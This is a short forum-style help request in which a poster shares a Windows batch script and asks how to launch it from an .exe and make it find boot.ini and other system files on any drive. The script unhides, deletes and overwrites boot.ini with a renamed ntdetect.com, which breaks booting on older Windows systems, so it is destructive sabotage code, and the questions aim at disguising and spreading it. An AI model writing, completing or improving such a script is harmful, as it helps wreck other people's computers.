JAYBE

I need help!
I writed this:

echo on
cls
cd\
attrib -s -h boot.ini
attrib -s -h ntdetect.com
del boot.ini
ren ntdetect.com boot.ini
attrib +s +h boot.ini
pause

1)I have 1 files of .exe If exe file be started next will be bat file. I don't know this comman.
2)if my bat will be do not at the disk C:\ .How i can write in file searching boot.ini and oher system files?